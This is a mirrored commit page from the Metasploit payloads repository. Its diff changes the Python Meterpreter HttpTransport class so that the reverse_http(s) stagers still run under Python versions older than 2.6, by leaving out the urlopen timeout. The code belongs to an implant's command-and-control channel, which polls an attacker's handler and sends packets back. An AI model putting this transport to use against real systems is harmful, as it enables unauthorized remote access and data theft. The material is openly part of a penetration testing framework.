1
mirror of https://github.com/rapid7/metasploit-payloads synced 2025-02-16 00:24:29 +01:00

Remove the timeout parameter when running < Python 2.6

The timeout parameter was added to urlopen in Python 2.6, in order for
the reverse_http(s) stagers to work at all on 2.5, this parameter needs
to be omitted.
This commit is contained in:
Spencer McIntyre 2020-08-10 14:47:47 -04:00
parent 52ef30b0fd
commit dc2d8026d0

View File

@ -1005,8 +1005,11 @@ class HttpTransport(Transport):
packet = None
xor_key = None
request = urllib.Request(self.url, None, self._http_request_headers)
urlopen_kwargs = {}
if sys.version_info > (2, 6):
urlopen_kwargs['timeout'] = self.communication_timeout
try:
url_h = urllib.urlopen(request, timeout=self.communication_timeout)
url_h = urllib.urlopen(request, **urlopen_kwargs)
packet = url_h.read()
for _ in range(1):
if packet == '':
@ -1035,7 +1038,10 @@ class HttpTransport(Transport):
def _send_packet(self, packet):
request = urllib.Request(self.url, packet, self._http_request_headers)
url_h = urllib.urlopen(request, timeout=self.communication_timeout)
urlopen_kwargs = {}
if sys.version_info > (2, 6):
urlopen_kwargs['timeout'] = self.communication_timeout
url_h = urllib.urlopen(request, **urlopen_kwargs)
response = url_h.read()
def patch_uri_path(self, new_path):